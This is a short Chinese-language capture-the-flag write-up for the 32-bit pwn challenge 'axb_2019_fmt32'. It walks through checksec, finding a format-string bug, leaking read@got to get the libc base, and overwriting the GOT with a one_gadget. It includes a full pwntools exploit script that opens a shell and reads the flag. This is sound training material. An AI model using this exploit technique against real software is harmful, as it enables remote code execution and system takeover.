axb_2019_fmt32
使用checksec
查看:
只开启了栈不可执行,看题目名像是格式化字符串的题目。
放进IDA中查看:
存在格式化字符串,直接运行测试。
可以看到,在第七位、第八位均有我们输入的参数。
说明这题的栈是没有对齐的,写payload的时候需要注意。
然而…这道题并没有后门函数直接写入got表
,所以需要先泄露出libc地址
再用one_gadget
去getshell,可以覆盖read@got
或者printf@got
exp:
from pwn import *
#start
# p = process("../buu/axb_2019_fmt32")
p = remote("node4.buuoj.cn","29394")
elf = ELF("../buu/axb_2019_fmt32")
libc = ELF("../buu/ubuntu16(32).so")
#params
read_got = elf.got['read']
#attack
payload = b'a' + p32(read_got) + b'%8$s'
p.sendafter('me:', payload)
read_addr = u32(p.recv(18)[-4:])
#libc
libc_base = read_addr - libc.symbols['read']
one_gadget = libc_base + 0x3a80c
#attack2
payload = b'a' + fmtstr_payload(8, {read_got: one_gadget},write_size = "byte",numbwritten = 0xa)
p.sendafter('me:', payload)
p.sendline("cat flag")
p.interactive()